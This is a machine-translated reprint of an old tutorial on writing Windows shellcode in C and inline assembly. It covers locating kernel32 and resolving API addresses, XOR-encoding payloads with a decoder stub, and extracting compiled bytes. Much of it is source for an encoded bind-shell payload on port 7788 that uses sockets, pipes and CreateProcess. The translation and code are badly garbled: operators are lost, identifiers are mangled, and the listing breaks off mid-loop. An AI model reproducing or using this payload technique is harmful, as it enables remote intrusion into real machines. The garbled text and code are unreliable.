[Analysis] Think about shellcode written under Windows

xiaoxiao2021-03-06  126

A little thinking about shellcode prepared by WINDOWS

Creation Time: 2003-11-30 Article Properties: Reprinted article Submitted: L0PHT (Anonymous_at_21cn.com) About WINDOWS SHELLCODE Writing By Hume / Cold Rain About Shellcode Writing Articles can be described as cow. Classic articles with seniors such as Yuange, WaterCloud, but most of them are too professional and concise, and there is still a difficulty in learning from beginners such as me. Therefore, I record my own ideas to comfort the same dish. I am not a tool agency, but suitable tools will undoubtedly improve work efficiency, and how to choose the right tool and write shellcode's purpose and shellcode's operating environment is directly related. Shellcode is generally obtained by overflow, etc., and to call the API of the target system when executed, it is required to use the shellcode to acquire the API function address of the target system, secondly due to its operating address. It is difficult to determine, so a dynamic approach should be used for the addressing of the data. In addition, shellcode is generally sent to the attack program as a data, and the attack program generally filtering the data, which proposes the SHELLCODE, and now the coding method used by Shellcode is relatively simple, basically the XOR Dafa or its deformed . Write shellcode has two ways to popularize: writing extraction with C language; write and extract with assembly language. For personal feelings, writing and extracting using assembly language is the most convenient, because the shellcode code is generally short, and the task to be completed is relatively single, generally does not involve complex operations. Therefore, you can write it in assembly language. Moreover, the control, code positioning, and generation control of the compiler, in some assembly compilers, provides direct generation binary code functions and provides direct informs that contain binary files, so you can write a Makefile file. Separate the shellcode code and attack programs, write and debug separately without the need for PRINT, copy, paste, etc., simply adding an encoded code in the attack program. This is also easy to communicate. But now popular in the network is the shellcode written by C, but the finally generated is the shellcode code, which involves the problem of extracting the assembly code generated by C. But in C, since the compiler will generate some additional code in the beginning and end of the function, these code is not necessarily what we need, and one problem is that the end of the code is to obtain a direct operator in C. These actually are not very difficult, as long as the start and end add feature string can be positioned with a C library function MEMCMP search. Coding for Shellcode can be written for a program, such as XOR. Finally, write a function to print out the encoded shellcode, copy, paste, can be used in the attack program. The central idea written by c is to write code with C language, let the compiler generate binary code for us, then encode, print, so work is completed. I found an example of writing shellcode with c, which in personally commissioned it, discovered some problems and modified and added some of my own code, test. Some of the problems are: 1. The location of the Kenergy base address and the acquisition of the API function address is used in the original code that uses a violent search address space. This is not the best way, because one is more code, the second is to process the exceptions triggered by the search invalid page. There are still two ways to use: one is obtained from the PEB-related data structure, please refer to the "TEB / PEB enumeration list" in the TEB / PEB enumeration list ".

The code is as follows: MOV EAX, FS: 0x30 MOV EAX, [EAX 0x0C] MOV ESI, [EAX 0x1c] Lodsd MOV EBP, [EAX 0x08] // EBP is the address of kernel32.dll, this method is relatively universal, Suitable for 2K / XP / 2003. Another method is to search the SEH linker of the process acquire the address of the kernel32.unhandExceptionFilter, and then the address is aligned to obtain the base address of the Kernel, which is also common, suitable for 9x / 2k / xp / 2003. I use this method in the code below. 2. The role of the pieces of code in the code extraction ShellCode you might frequently seen temp = * shellcodefnadd; if (temp == 0xe9) { shellcodefnadd; k = * (int *) shellcodefnadd; shellcodefnadd = k; shellcodefnadd = 4;} What is the use of this use? The answer is that when using the Visual Studio to generate a debug version, the address obtained with the function pointer does not point to the real function entry point, but point to the jump instruction JMP: JMP function above the code is to process this situation, if It is not convenient to debug, you can delete it. There is also the code in the code: jmp decode_enddecode_start: Pop Edx ....... decode_end: call decode_startshell_start: The code is the code of the shell_start, which is easy to assemble, because there is no convenient means in C. The length and position of the positioning code, so this workaround is used. Dynamic calculations and write methods can be employed when this method does not meet the code. However, it is more complicated.

3. The order of the addresses of the local variables employed in the original procedure local variable structure is as follows: FARPROC WriteFileadd; FARPROC ReadFileadd; FARPROC PeekNamedPipeadd; FARPROC CloseHandleadd; FARPROC CreateProcessadd; FARPROC CreatePipeadd; FARPROC procloadlib; FARPROC apifnadd [1]; thinking that the compiler generates The variable address order is like this, maybe in some machines, but in my machine, otherwise, such as the following test program: #include #include #include #include void shell (); void __cdecl main (int Argc, char * argv []) {FarProc Arg1; FarProc Arg2; FarProc Arg4; FarProc Arg5; Int Par1; int par2; int par3 INT PAR4; CHAR CH; Printf ("SIZE OF FARPROC% D / N", SIZEOF (FARPROC)); Printf ("/ N% X / N% X / N% X / N% X / N% X / N / N / T% x / n% x / n% x / n% x / n / t% x / n ", & arg1, & arg2, & arg3, & arg4, & arg5, & par1, & par2, & par3, & par4, & ch) The output generated on my machine is: 12FF7C12FF7812FF7412FF7012FF68 12FF6C12FF6412FF6012FF5C 12FF58 This confirmed that the actual address of local variables is not fully fixed Righteous arrangement. Therefore, the method of directly using the function name used in Shellcode is reliable. So I use other methods, and the Enum keywords provided make this work easily, see the code below. 4.MORE About deformation shellcode avoids IDS detection, and the code method, etc. 5. The code is visible, writing shellcode with C needs more to understand the code generation and C compiler behavior. Some places are not very effort. However, once the template is written, it is much more effort to write up or write complex shellcode. When adding the API, add the function name item after the corresponding .dll (if there is no corresponding DLL, increasing) and synchronize the index of the ENUM. Use it directly when calling the API: API [_apiname] (param, .... param); If you don't comment, there is #define debug 1, the following code can be debugged after compiling. The following code will pop up a dialog box, click OK to end the program. That's all.

------------------------------------------- / * Write universal using C SHELLCODE Source: Internet Modification: HUME / Cold Rain Test: Win2K SP4 local * / # include #include #include #define debug 1 ///// Function prototype // void decryptsc (); void shellcodes (); void printsc (char * lpbuff, int buffsize); //// Used section definition // # define beginstrlen 0x08 // Start string length #define endstrlen 0x08 // End the length of the marker character #define nop_code 0x90 // Fill characters #define NOP_LEN 0x0 // shellcode start padding length #define buffsize 0x20000 // Output buffer size #define sc_port 7788 // Bind port number 0x1e6c # define SC_Buffsize 0x2000 // shellcode buffer size #define enc_key 0x7a // encoding key #define max_enc_len 0x400 // encrypted code maximum length 1024 enough? #define max_sc_len 0x2000 // Hellcode's maximum length 8192 is sufficient? Length #define API_endstr #define MAX_api_strlen 0x400 // APIstr string "strend" // API closing tag string #define API_endstrlen 0x06 // mark string length #define PROC_BEGIN __asm ​​_emit 0x90 __asm ​​_emit 0x90 __asm ​​_emit 0x90 __asm ​​_emit 0x90 / __ASM_Emit 0x90 __asm ​​_emit 0x90 __asm ​​_emit 0x90 __asm ​​_emit 0x90 # define proc_end proc_begin // ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---

---------------- enum {// Kernel32 _CreatePipe, _CreateProcessA, _CloseHandle, _PeekNamedPipe, _ReadFile, _WriteFile, _ExitProcess, // WS2_32 _socket, _bind, _listen, _accept, _send, _recv, _ioctlsocket, _closeSocket, // This machine test USER32 _MESSAGEBEEP, _MESSAGEBOXA, API_NUM}; //// code here start // int __cdecl main (int argc, char ** argv) {// SHELLCODE STATIC Char apistr [] = "/ x1e / x6c" // port address // kernel32 API function name "createpipe" "/ x0" "CreateProcessa" "/ x0" "closehandle" "/ x0" "peeknamedpipe" "/ x0" "Readfile" "/ x0" "WriteFile" "/ x0" "/ x0" "/ x0" "/ x0" "/ x0" "Bind" "" / x0 "" Bind "" / x0 "" / x0 "" / x0 "" Bind "" / x0 "" / x0 "" / x0 "" / x0 "" listen "" / x0 "" accept "" / x0 " "Send" "/ x0" "RECV" "/ x0" "ioctlsocket" "/ x0" "closesocket" "/ x0" // native test "user32.dll" "/ x0" "messagebeep" "/ x0" " "/ X0" "/ x0 / x0 / x0 / x0 / x0" "strend"; char * fnbgn_str = "

/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 "; // mark start string char * fnend_str =" / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 "; // String Char buff [buffsize]; // buffer char SC_BUFF [SC_Buffsize]; // shellcodes buffer char * pdcrypt_addr, * psc_addr; int buff_len; // buffer length INCCODE_LEN; // encryption code Code length int Sc_len; // Original shellcode length INT i, k; unsigned char ch; // // obtains the decryptsc () address, the address of the decoding function, then search the max_enc_len byte, the string started by the lookup tag // The real decoding assembly code start address, MAX_ENC_LEN defines 1024 bytes, which is already sufficient, then copy this // part code to the buffer to output Shellcode buffer to further process // pdcrypt_addr = (char *) Decryptsc; / / Locate its actual address, because in the case of generating debug version debugging with Visual Studio, the compiler generates a jump table, / / ​​From the jump table to calculate the actual address, this is just to facilitate VC Debug ch = * pdcrypt_addr; if (ch == 0xe9) {pdcrypt_addr ; i = * (int *) pdcrypt_addr; pdcrypt_addr = (i 4); // At this time, the actual address} // find the beginning of decoding code Part of For (k = 0; k

// Put the DECRYPTSC code into the buff // // handling the shellcode code. If you need to position the start // psc_addr = (char *) shellcodes; // shellcode's address // debug state, it is easy to debug CH = * psc_addr; if (ch == 0xe9) {PSC_ADDR ; i = * (int *) PSC_ADDR; PSC_ADDR = (i 4); // At this point, point to the actual address} // If you need to be positioned to actual shellcodes () The beginning, this version is not required / * for (k = 0; k = max_api_strlen) {printf ("/ nno end str defined in API STRINGS! PLEASE CHECK .... / N"); Return 0;} Memcpy (SC_BUFF K, APISTR, I); SC_LE n = i; // Increase the length of the shellcode // // Easy to encode the shellcode, can be changed // k = encode_len nop_len; / / The positioning buffer should be stored as needed (i = 0; I

= 0x31;} // Put the encoded shellcode behind the decryptsc code BUFF [K] = CH; K;} // shellcode's total length buff_len = k; // Print Shellcode Printsc (Buff, Buff_len); // buff [buff_len] = 0; // Printf ("% s", buff); # ifdef debug _asm {lea eax, buff jmp eax return} #ENDIF return 0;} // Decoded shellcode code void Decryptsc () {__ASM {/// Defining Start Sign / Proc_Begin // C Macro to Begin Proc Jmp NextGetencodeaddr: Pop Edi Push EDI POP ESIP: LODSB CMP AL, CL JZ Shell Cmp Al, 0x30 // Judgment is a special character jz special_char_cleanstore: xor al, Enc_key stosb jmp Decrypt_lopspecial_char_clean: lodsb sub al, 0x31 jmp storenext: call getEncCodeAddr // remaining true encrypted connection shellcode code here shell: /// defined end mark / PROC_END // C macro to end Proc}} /// SHELLCODE code // void shellcodes () {// API low address array FARPROC API [API_num]; // API address FARPROC GetProcAddr own acquisition; FARPROC LoadLib; HANDLE hKrnl32; HANDLE libhandle; char * ApiStr_addr, * p; int k; u_short shellcodeport; // test variables char * testAddr; / * STARTUPINFO siinfo; SOCKET listenFD, clientFD; struct sockaddr_in server; int iAddrSize = sizeof (server); int lBytesRead; PROCESS_INFORMATION ProcessInformation; HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2; SECURITY_ATTRIBUTES sa;

* / _ASM {JMP locate_addr0GetaPistr_addr: POP APITR_ADDR // Start Get API's address and getProcaddress and LoadLibrary addresses // will easily access any API's address // protection Register Pushad XOR ESI, ESI LODS DWORD PTR FS: [ esi] Search_Krnl32_lop: inc eax je Krnl32_Base_Ok dec eax xchg esi, eax LODSD jmp Search_Krnl32_lopKrnl32_Base_Ok: LODSD; compare if PE_hdr xchg esi, eax find_pe_header: dec esi xor si, si; kernel32 is 64kb align mov eax, [esi] add ax, - 'Zm'; JNE Find_PE_HEADER MOV EDI, [ESI 3CH]; .e_Lfanew MOV Eax, [ESI EDI] Add Eax, - 'EP'; Anti Heuristic Change this if you are useful MASM etc. JNE FIND_PE_HEADER PUSH ESI; ESI = VA KERNEL32.BASE EDI = RVA K32.PEHDR MOV EBX, ESI MOV EDI, [EBX EDI 78H]; Peh.DataDirectory Push EDI PUSH ESI MOV EAX, [EBX EDI 20H]; Peexc.addressofNames Mov Edx, [EBX EDI 24h]; peexc.AddressOfNameOrdinals call __getProcAddr _emit 0x47 _emit 0x65 _emit 0x74 _emit 0x50 _emit 0x72 _emit 0x6F _emit 0x63 _emit 0x41 _emit 0x64 _emit 0x64 _emit 0x72 _emit 0x65 _emit 0x73 _emit 0x73 _emit 0x0 // db "GetProcAddress"

, 0__getprocaddr: POP EDI MOV ECX, 15 SUB EAX, 4NEXT_: ADD EAX, 4 Add Edi, ECX Sub EDI, 15 MOV ESI, [EBX EJ] Add ESI, EBX MOV ECX, 15 REP CMPSB JNZ NEXT_ POP ESI Pop Edi SUB EAX, [EBX EDI 20H]; Peexc.addressofNames SHR EAX, 1 Add Edx, EBX MOVZX EAX, Word PTR [EDX EBX] Add ESI, [EBX EDI 1CH]; Peexc.Addressoffunctions Add EBX, [ esi eax * 4]; ebx = Kernel32.GetProcAddress.addr; use GetProcAddress and hModule to get other func pop esi; esi = kernel32 Base mov [hKrnl32], esi // save mov [GetProcAddr], ebx // save call _getLoadLib _emit 0x4c _emit 0x6f _emit 0x61 _emit 0x64 _emit 0x4c _emit 0x69 _emit 0x62 _emit 0x72 _emit 0x61 _emit 0x72 _emit 0x79 _emit 0x41 _emit 0x0 // DB "LoadLibrarya", 0 _GetLoadLib: Push ESI CALL EBX MOV [LOADLIB], EAX // Restore Register, avoid more issues POPAD} // Remove the defined port address shellcodeport = * (u_short *) ApiStr_addr; ApiStr_addr = 2; test testAddr = ApiStr_addr; // use GetProcAddress API to obtain the address used in libhandle shellcode = hKrnl32; p = ApiStr_addr; k = 0; /// * while ( * (unsigned int *) p)! = 0) {apistr_addr = p; while (* p) p ; // advance to the next string IF (* ((unsigned int *) (p-4)) == 'LLD.'

转载请注明原文地址:https://www.9cbs.com/read-99179.html

New Post(0)